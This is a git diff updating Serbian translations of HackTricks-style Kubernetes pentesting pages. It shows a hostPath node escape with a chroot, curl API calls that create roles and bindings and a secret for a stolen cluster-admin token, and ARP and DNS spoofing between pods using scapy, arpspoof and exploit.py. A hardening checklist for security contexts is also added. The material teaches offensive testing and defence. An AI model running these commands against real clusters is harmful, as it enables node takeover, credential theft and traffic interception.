source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) -Nakon toga kreirate pod +Nakon toga kreiraš pod ```bash kubectl apply -f attacker.yaml [-n ] ``` -Sada možete preći na kreirani pod na sledeći način +Sada možete da se prebacite na kreirani pod na sledeći način ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -I konačno se chroot-ujete u sistem čvora +I na kraju chroot u sistem noda ```bash chroot /root /bin/bash ``` Informacije dobijene iz: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### Kreiranje privilegovanog poda +### Kreiranje privileged pod-a Odgovarajući yaml fajl je sledeći: ```yaml @@ -551,7 +596,7 @@ volumes: hostPath: path: / ``` -Kreirajte pod sa curl: +Kreiraj pod sa curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -569,7 +614,7 @@ curl --path-as-is -i -s -k -X $'POST' \ ``` ### Obriši pod -Obriši pod pomoću curl-a: +Obriši pod sa curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -586,7 +631,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### Kreirajte servisni nalog +### Kreiraj Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -604,7 +649,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Obriši servisni nalog +### Obriši Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -621,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Kreirajte ulogu +### Kreiraj Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -639,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Obriši ulogu +### Obriši Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -657,7 +702,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` -### Kreirajte Role Binding +### Kreiraj Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -674,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Obriši vezu uloge +### Obrisi Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -692,7 +737,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` -### Obriši Tajnu +### Obriši Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -709,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Obriši Tajnu +### Obriši Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index a62f87847..c8de006bd 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -4,60 +4,81 @@ ## PodSecurityContext -[**Iz dokumenata:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) +[**Iz dokumentacije:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) -Kada definišete bezbednosni kontekst Pod-a, možete koristiti nekoliko atributa. Sa stanovišta odbrane, trebali biste razmotriti: +Kada navodite security context za Pod možete koristiti nekoliko atributa. Sa stanovišta defanzivne bezbednosti trebalo bi da razmotrite: - Da **runASNonRoot** bude **True** - Da konfigurišete **runAsUser** -- Ako je moguće, razmotrite **ograničavanje** **dozvola** označavanjem **seLinuxOptions** i **seccompProfile** -- **NE** dajte **privilegovan** **grupni** pristup putem **runAsGroup** i **supplementaryGroups** +- Ako je moguće, razmotrite **ograničavanje** **permissions** navođenjem **seLinuxOptions** i **seccompProfile** +- **NE** dajte **privilege** **group** access preko **runAsGroup** i **supplementaryGroups** -| Parametar | Opis | -|

fsGroup
integer

|

Specijalna dopunska grupa koja se primenjuje na sve kontejnere u podu. Neki tipovi volumena omogućavaju Kubelet-u da promeni vlasništvo tog volumena da bude u vlasništvu poda:
1. Vlasnički GID će biti FSGroup
2. setgid bit je postavljen (nove datoteke kreirane u volumenu će biti u vlasništvu FSGroup)
3. Dozvola je OR'd sa rw-rw---- Ako nije postavljeno, Kubelet neće menjati vlasništvo i dozvole bilo kog volumena

| +| Parameter | Description | +|

fsGroup
integer

|

Posebna supplemental grupa koja važi za sve kontejnere u podu. Neki tipovi volumena dozvoljavaju Kubelet-u da promeni ownership tog volumena tako da bude u vlasništvu poda:
1. Owning GID će biti FSGroup
2. setgid bit je postavljen (nove datoteke kreirane u volumenu biće u vlasništvu FSGroup)
3. permission bitovi se OR-uju sa rw-rw---- Ako nije postavljeno, Kubelet neće menjati ownership ni permissions nijednog volumena

| -|

fsGroupChangePolicy
string

| Ovo definiše ponašanje **promene vlasništva i dozvola volumena** pre nego što bude izložen unutar Pod-a. | -|

runAsGroup
integer

| **GID za pokretanje ulazne tačke procesa kontejnera**. Koristi podrazumevanu vrednost vremena izvođenja ako nije postavljeno. Može se takođe postaviti u SecurityContext. | -|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da se pokrene kao korisnik koji nije root. Ako je tačno, Kubelet će validirati sliku u vreme izvođenja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | -|

runAsUser
integer

| **UID za pokretanje ulazne tačke procesa kontejnera**. Podrazumevano se postavlja na korisnika navedenog u metapodacima slike ako nije navedeno. | -|

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na sve kontejnere**. Ako nije navedeno, kontejnerski runtime će dodeliti nasumičan SELinux kontekst za svaki kontejner. | -|

seccompProfile
SeccompProfile
Više informacija o Seccomp

| **seccomp opcije koje koriste kontejneri** u ovom podu. | -|

supplementalGroups
integer array

| Lista **grupa primenjenih na prvi proces pokrenut u svakom kontejneru**, pored primarnog GID-a kontejnera. | -|

sysctls
Sysctl array
Više informacija o sysctls

| Sysctls sadrži listu **imenskih sysctls korišćenih za pod**. Podovi sa nepodržanim sysctls (od strane kontejnerskog runtime-a) mogu propasti prilikom pokretanja. | -|

windowsOptions
WindowsSecurityContextOptions

| Windows specifične postavke primenjene na sve kontejnere. Ako nije navedeno, koristiće se opcije unutar SecurityContext-a kontejnera. | +|

fsGroupChangePolicy
string

| Ovo definiše ponašanje **promene ownership-a i permissions volumena** pre nego što bude izložen unutar Pod-a. | +|

runAsGroup
integer

| **GID za pokretanje entrypoint-a procesa kontejnera**. Koristi podrazumevanu vrednost runtime-a ako nije postavljeno. Može takođe biti postavljeno u SecurityContext. | +|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da radi kao non-root korisnik. Ako je true, Kubelet će u runtime-u proveriti image kako bi osigurao da ne radi kao UID 0 (root) i neće pokrenuti kontejner ako to radi. | +|

runAsUser
integer

| **UID za pokretanje entrypoint-a procesa kontejnera**. Podrazumevano je korisnik naveden u image metadata ako nije specificirano. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| **SELinux context koji će biti primenjen na sve kontejnere**. Ako nije naveden, container runtime će dodeliti nasumični SELinux context za svaki kontejner. | +|

seccompProfile
SeccompProfile
More info about Seccomp

| **seccomp opcije koje treba da koriste kontejneri** u ovom podu. | +|

supplementalGroups
integer array

| Lista **grupa koje se primenjuju na prvi proces pokrenut u svakom kontejneru**, pored primarne GID kontejnera. | +|

sysctls
Sysctl array
More info about sysctls

| Sysctls sadrže listu **namespaced sysctls koji se koriste za pod**. Podovi sa nepodržanim sysctls (od strane container runtime-a) možda neće uspeti da se pokrenu. | +|

windowsOptions
WindowsSecurityContextOptions

| Windows-specifične postavke primenjene na sve kontejnere. Ako nije navedeno, koristiće se opcije unutar SecurityContext-a kontejnera. | ## SecurityContext -[**Iz dokumenata:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +[**Iz dokumentacije:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -Ovaj kontekst se postavlja unutar **definicija kontejnera**. Sa stanovišta odbrane, trebali biste razmotriti: +Ovaj context se postavlja unutar definicija **containers**. Sa stanovišta defanzivne bezbednosti trebalo bi da razmotrite: -- **allowPrivilegeEscalation** da bude **False** -- Ne dodavati osetljive **kapacitete** (i ukloniti one koje ne trebate) -- **privileged** da bude **False** -- Ako je moguće, postavite **readOnlyFilesystem** na **True** -- Postavite **runAsNonRoot** na **True** i postavite **runAsUser** -- Ako je moguće, razmotrite **ograničavanje** **dozvola** označavanjem **seLinuxOptions** i **seccompProfile** -- **NE** dajte **privilegovan** **grupni** pristup putem **runAsGroup.** +- **allowPrivilegeEscalation** na **False** +- Ne dodavati osetljive **capabilities** (i ukloniti one koje vam nisu potrebne) +- **privileged** na **False** +- Ako je moguće, postaviti **readOnlyFilesystem** na **True** +- Postaviti **runAsNonRoot** na **True** i postaviti **runAsUser** +- Ako je moguće, razmotrite **ograničavanje** **permissions** navođenjem **seLinuxOptions** i **seccompProfile** +- **NE** dajte **privilege** **group** access preko **runAsGroup.** -Napomena: Atributi postavljeni u **SecurityContext i PodSecurityContext**, vrednost navedena u **SecurityContext** ima **prioritet**. +Imajte na umu da za atribute postavljene i u **SecurityContext** i u **PodSecurityContext**, vrednost navedena u **SecurityContext** ima **prednost**. -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** kontroliše da li proces može **dobiti više privilegija** od svog roditeljskog procesa. Ova bool direktno kontroliše da li će se postaviti no_new_privs flag na procesu kontejnera. AllowPrivilegeEscalation je uvek tačno kada se kontejner pokreće kao **Privileged** ili ima **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** kontroliše da li proces može da **stekne više privilegija** nego njegov parent process. Ovaj bool direktno kontroliše da li će no_new_privs flag biti postavljen na proces kontejnera. AllowPrivilegeEscalation je uvek true kada se kontejner pokreće kao **Privileged** ili ima **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Više informacija o Capabilities

| **Kapaciteti za dodavanje/uklanjanje prilikom pokretanja kontejnera**. Podrazumevano se koristi podrazumevani skup kapaciteta. | -|

privileged
boolean

| Pokreni kontejner u privilegovanom režimu. Procesi u privilegovanim kontejnerima su suštinski **ekvivalentni root-u na hostu**. Podrazumevano je false. | -|

procMount
string

| procMount označava **tip proc mount-a koji će se koristiti za kontejnere**. Podrazumevano je DefaultProcMount koji koristi podrazumevane vrednosti kontejnerskog runtime-a za samo-za-čitanje i maskirane putanje. | -|

readOnlyRootFilesystem
boolean

| Da li ovaj **kontejner ima samo-za-čitanje korenski sistem datoteka**. Podrazumevano je false. | -|

runAsGroup
integer

| **GID za pokretanje ulazne tačke** procesa kontejnera. Koristi podrazumevanu vrednost vremena izvođenja ako nije postavljeno. | -|

runAsNonRoot
boolean

| Ukazuje da kontejner mora **da se pokrene kao korisnik koji nije root**. Ako je tačno, Kubelet će validirati sliku u vreme izvođenja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | -|

runAsUser
integer

| **UID za pokretanje ulazne tačke** procesa kontejnera. Podrazumevano se postavlja na korisnika navedenog u metapodacima slike ako nije navedeno. | -|

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na kontejner**. Ako nije navedeno, kontejnerski runtime će dodeliti nasumičan SELinux kontekst za svaki kontejner. | -|

seccompProfile
SeccompProfile

| **seccomp opcije** koje koristi ovaj kontejner. | -|

windowsOptions
WindowsSecurityContextOptions

| **Windows specifične postavke** primenjene na sve kontejnere. | +|

capabilities
Capabilities
More info about Capabilities

| **Capabilities koje treba dodati/ukloniti pri pokretanju kontejnera**. Podrazumeva se defaultni skup capabilities. | +|

privileged
boolean

| Pokreni kontejner u privileged režimu. Procesi u privileged kontejnerima su suštinski **ekvivalentni root-u na host-u**. Podrazumevano je false. | +|

procMount
string

| procMount označava **tip proc mount-a koji treba koristiti za kontejnere**. Podrazumevano je DefaultProcMount koji koristi podrazumevane vrednosti container runtime-a za readonly putanje i masked putanje. | +|

readOnlyRootFilesystem
boolean

| Da li ovaj **kontejner ima read-only root filesystem**. Podrazumevano je false. | +|

runAsGroup
integer

| **GID za pokretanje entrypoint-a** procesa kontejnera. Koristi podrazumevanu vrednost runtime-a ako nije postavljeno. | +|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da **radi kao non-root korisnik**. Ako je true, Kubelet će u runtime-u proveriti image kako bi osigurao da ne radi kao UID 0 (root) i neće pokrenuti kontejner ako to radi. | +|

runAsUser
integer

| **UID za pokretanje entrypoint-a** procesa kontejnera. Podrazumevano je korisnik naveden u image metadata ako nije specificirano. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| **SELinux context koji će biti primenjen na kontejner**. Ako nije naveden, container runtime će dodeliti nasumični SELinux context za svaki kontejner. | +|

seccompProfile
SeccompProfile

| **seccomp opcije** koje treba da koristi ovaj kontejner. | +|

windowsOptions
WindowsSecurityContextOptions

| **Windows-specifične postavke** primenjene na sve kontejnere. | + +## Practical workload review checklist + +Kada pregledate Pod ili workload template, proverite i `spec.securityContext` i svaki container-level `securityContext` unutar `containers`, `initContainers` i `ephemeralContainers`. Fields na nivou kontejnera mogu da pregaze podrazumevane vrednosti na nivou poda, pa Pod default koji deluje bezbedno ne garantuje da je svaki kontejner bezbedan. + +Kombinacije visokog rizika na koje treba prvo obratiti pažnju: + +- `privileged: true`, posebno sa `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports ili runtime socket mounts. +- Dodate capabilities kao što su `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH` ili `DAC_OVERRIDE`. +- `allowPrivilegeEscalation: true` ili nije postavljeno u kontejnerima koji mogu izvršavati attacker-controlled code. +- `seccompProfile: Unconfined`, `procMount: Unmasked` ili nedostajući runtime profili na osetljivim workload-ovima. +- Writable root filesystem ili široki writable volume mount-ovi u workload-ovima koji obrađuju untrusted input. +- Nedostajući CPU, memory ili ephemeral-storage requests i limits u multi-tenant namespace-ovima. + +Za većinu application workload-ova, dobar baseline je da se radi kao non-root UID, postavi `runAsNonRoot: true`, postavi `allowPrivilegeEscalation: false`, uklone sve capabilities i vrate samo minimalno potrebne, koristi `seccompProfile: RuntimeDefault`, preferira read-only root filesystem, i izbegavaju host namespaces, hostPath mount-ove i privileged mode. + +Na cluster nivou, koristite [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) namespace labels da biste, gde je moguće, primenili Kubernetes [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/). Koristite `restricted` za namespace-ove koji to mogu da podrže, najmanje `baseline` za obične application namespace-ove, i držite privileged izuzetke uskim, dokumentovanim i izolovanim na trusted platform namespace-ove ili node pool-ove. ## References - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/) +- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 031071155..0a5fdbfb1 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -2,18 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -## Introduction +## Uvod -U Kubernetes-u, primećeno je da podrazumevano ponašanje omogućava uspostavljanje veza između **svih kontejnera koji se nalaze na istom čvoru**. Ovo važi bez obzira na razlike u imenskim prostorima. Takva povezanost se proteže do **Layer 2** (Ethernet). Kao rezultat, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost da **maliciozni kontejner** izvrši **ARP spoofing napad** na druge kontejnere smeštene na istom čvoru. Tokom takvog napada, maliciozni kontejner može obmanuti da presretne ili izmeni mrežni saobraćaj namenjen drugim kontejnerima. +U Kubernetes, primećuje se da podrazumevano ponašanje dozvoljava uspostavljanje veza između **svih containera koji se nalaze na istom node-u**. Ovo važi bez obzira na razlike u namespace-u. Takva povezanost se proteže do **Layer 2** (Ethernet). Posledično, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost da **malicious container** izvrši **ARP spoofing attack** protiv drugih containera koji se nalaze na istom node-u. Tokom takvog napada, malicious container može obmanjujuće presresti ili izmeniti network traffic namenjen drugim containerima. -ARP spoofing napadi uključuju **napadača koji šalje falsifikovane ARP** (Address Resolution Protocol) poruke preko lokalne mreže. To rezultira povezivanjem **MAC adrese napadača sa IP adresom legitimnog računara ili servera na mreži**. Nakon uspešne realizacije takvog napada, napadač može presresti, izmeniti ili čak zaustaviti podatke u tranzitu. Napad se izvršava na Layer 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes-u na ovom sloju izaziva zabrinutost za bezbednost. +ARP spoofing attacks uključuju **attacker-a koji šalje falsifikovane ARP** (Address Resolution Protocol) poruke preko local area network. Ovo dovodi do povezivanja **attacker-ove MAC address sa IP address legitimnog računara ili servera na network-u**. Nakon uspešnog izvođenja takvog napada, attacker može presresti, izmeniti ili čak zaustaviti podatke u tranzitu. Napad se izvršava na Layer 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes na ovom sloju predstavlja bezbednosni problem. U scenariju će biti kreirane 4 mašine: -- ubuntu-pe: Privilegovana mašina za bekstvo na čvor i proveru metrika (nije potrebna za napad) -- **ubuntu-attack**: **Maliciozni** kontejner u podrazumevanom imenskom prostoru -- **ubuntu-victim**: **Žrtva** mašina u kube-system imenskom prostoru -- **mysql**: **Žrtva** mašina u podrazumevanom imenskom prostoru +- ubuntu-pe: Privileged mašina za escape na node i proveru metrics (nije potrebno za napad) +- **ubuntu-attack**: **Malicious** container u default namespace +- **ubuntu-victim**: **Victim** mašina u kube-system namespace +- **mysql**: **Victim** mašina u default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Osnovno Kubernetes Mrežno Povezivanje +## Osnovno Kubernetes umrežavanje Ako želite više detalja o mrežnim temama predstavljenim ovde, idite na reference. ### ARP -Opšte govoreći, **mrežno povezivanje podova unutar čvora** je dostupno putem **mosta** koji povezuje sve podove. Ovaj most se zove “**cbr0**”. (Neki mrežni dodaci će instalirati svoj vlastiti most.) **cbr0 takođe može obraditi ARP** (Protokol za rešavanje adresa) rezoluciju. Kada dolazni paket stigne na cbr0, može rešiti odredišnu MAC adresu koristeći ARP. +Uopšteno govoreći, **pod-to-pod networking unutar node-a** je dostupan preko **bridge-a** koji povezuje sve pod-ove. Ovaj bridge se zove “**cbr0**”. (Neki network plugins će instalirati svoj sopstveni bridge.) **cbr0** takođe može da obavlja ARP (Address Resolution Protocol) rezoluciju. Kada dolazni paket stigne na cbr0, može da razreši odredišnu MAC adresu koristeći ARP. -Ova činjenica implicira da, po defaultu, **svaki pod koji radi u istom čvoru** će moći da **komunicira** sa bilo kojim drugim podom u istom čvoru (nezavisno od imenskog prostora) na ethernet nivou (sloj 2). +Ova činjenica implicira da će, podrazumevano, **svaki pod koji radi na istom node-u** moći da **komunicira** sa bilo kojim drugim pod-om na istom node-u (nezavisno od namespace-a) na ethernet nivou (layer 2). > [!WARNING] -> Stoga, moguće je izvršiti A**RP Spoofing napade između podova u istom čvoru.** +> Zato je moguće izvršiti A**RP Spoofing attacks između pod-ova na istom node-u.** ### DNS -U kubernetes okruženjima obično ćete pronaći 1 (ili više) **DNS usluga koje rade** obično u kube-system imenskom prostoru: +U kubernetes okruženjima obično ćete naći 1 (ili više) **DNS services koji rade** obično u kube-system namespace-u: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,27 +136,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -U prethodnim informacijama možete videti nešto zanimljivo, **IP usluge** je **10.96.0.10**, ali **IP pod-a** koji pokreće uslugu je **172.17.0.2.** +U prethodnim informacijama možeš videti nešto zanimljivo, **IP servisa** je **10.96.0.10**, ali **IP poda** koji pokreće servis je **172.17.0.2.** -Ako proverite DNS adresu unutar bilo kog pod-a, naći ćete nešto poput ovoga: +Ako proveriš DNS address unutar bilo kog poda, naći ćeš nešto poput ovoga: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -Međutim, pod **ne zna** kako da dođe do te **adrese** jer je **pod opseg** u ovom slučaju 172.17.0.10/26. +Međutim, pod **ne zna** kako da stigne do te **adrese** zato što je **pod range** u ovom slučaju 172.17.0.10/26. -Zato će pod poslati **DNS zahteve na adresu 10.96.0.10** koja će biti **prevedena** od strane cbr0 **na** **172.17.0.2**. +Zato će pod slati **DNS requests na adresu 10.96.0.10** koja će biti **translated** od strane cbr0 **u** **172.17.0.2**. > [!WARNING] -> To znači da **DNS zahtev** poda **uvek** ide na **most** da **prevede** **IP usluge na IP krajnje tačke**, čak i ako je DNS server u istoj podmreži kao pod. +> Ovo znači da će **DNS request** od poda **uvek** ići preko **bridge** da bi se **translated** **service IP to the endpoint IP**, čak i ako je DNS server u istoj subnet mreži kao pod. > -> Znajući ovo, i znajući da su **ARP napadi mogući**, **pod** u čvoru će moći da **presretne saobraćaj** između **svakog poda** u **podmreži** i **mosta** i **modifikuje** **DNS odgovore** sa DNS servera (**DNS Spoofing**). +> Znajući ovo, i znajući da su **ARP attacks** mogući, **pod** na node-u će moći da **intercept** saobraćaj između **svakog poda** u **subnetwork** i **bridge** i da **modify** **DNS responses** od DNS servera (**DNS Spoofing**). > -> Štaviše, ako je **DNS server** u **istom čvoru kao napadač**, napadač može **presresti sve DNS zahteve** bilo kog poda u klasteru (između DNS servera i mosta) i modifikovati odgovore. +> Pored toga, ako je **DNS server** na **istom node-u kao attacker**, attacker može da **intercept** sve **DNS request** bilo kog poda u cluster-u (između DNS servera i bridge-a) i da modifikuje responses. -## ARP Spoofing u podovima u istom čvoru +> [!NOTE] +> Validate aktivni CNI i DNS path pre nego što pretpostavite da ovo radi u realnom cluster-u. Neki CNI-jevi drugačije rutiraju ili izoliraju traffic na istom node-u, a cluster-i koji koriste NodeLocal DNSCache mogu slati pod DNS queries na node-local adresu pre prosleđivanja ka CoreDNS. U tim okruženjima, DNS spoofing zavisi od položaja poda, packet capabilities, resolver konfiguracije, ponašanja node-local cache-a i toga da li aplikacije verifikuju peers pomoću TLS ili drugog identity mehanizma. -Naš cilj je da **ukrademo barem komunikaciju od ubuntu-victim do mysql**. +## ARP Spoofing u podovima na istom Node-u + +Naš cilj je da **ukrademo bar komunikaciju od ubuntu-victim do mysql**. ### Scapy ```bash @@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Kao što je već pomenuto, ako **kompromitujete pod na istoj čvoru kao DNS server pod**, možete **MitM** sa **ARPSpoofing** mostom i **DNS** podom i **modifikovati sve DNS odgovore**. +Kao što je već pomenuto, ako **kompromitujete pod na istom node-u kao DNS server pod**, možete da uradite **MitM** pomoću **ARPSpoofing** nad **bridge** i DNS podom i da **izmenite sve DNS odgovore**. -Imate stvarno dobar **alat** i **tutorijal** za testiranje ovoga u [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +Imate veoma dobar **tool** i **tutorial** da ovo testirate na [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -U našem scenariju, **preuzmite** **alat** u napadačkom podu i kreirajte **datoteku nazvanu `hosts`** sa **domenima** koje želite da **spoof** kao: +U našem scenariju, **preuzmite** **tool** na attacker pod-u i napravite **fajl nazvan `hosts`** sa **domainima** koje želite da **spoofujete**, kao: ``` cat hosts google.com. 1.1.1.1 ``` -Izvršite napad na ubuntu-victim mašinu: +Izvedite napad na ubuntu-victim mašinu: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -260,12 +263,14 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> Ako pokušate da kreirate svoj vlastiti DNS spoofing skript, ako **samo modifikujete DNS odgovor** to **neće** **raditi**, jer će **odgovor** imati **src IP** adresu **malicioznog** **poda** i **neće** biti **prihvaćen**.\ -> Morate generisati **novi DNS paket** sa **src IP** adrese **DNS** na koju žrtva šalje DNS zahtev (što je nešto poput 172.16.0.2, a ne 10.96.0.10, to je IP adresa K8s DNS servisa, a ne IP adresa DNS servera, više o tome u uvodu). +> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ +> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). -## DNS Spoofing putem coreDNS configmap +## DNS Spoofing via coreDNS configmap -Korisnik sa pravima pisanja nad configmap `coredns` u kube-system imenu može modifikovati DNS odgovore klastera. +Korisnik sa write permissions nad configmap `coredns` u namespace-u kube-system može da modifikuje DNS odgovore klastera. + +Takođe proverite NodeLocal DNSCache ako je deployovan. Obično radi kao hostNetwork DaemonSet i ima svoj ConfigMap, logs, cache i forwarding path. CoreDNS promena možda nije jedino mesto gde DNS ponašanje može da se utiče ili posmatra. Proverite više informacija o ovom napadu u: @@ -273,34 +278,34 @@ Proverite više informacija o ovom napadu u: abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## Zloupotreba izloženih kubernetes upravljačkih servisa +## Abusing exposed 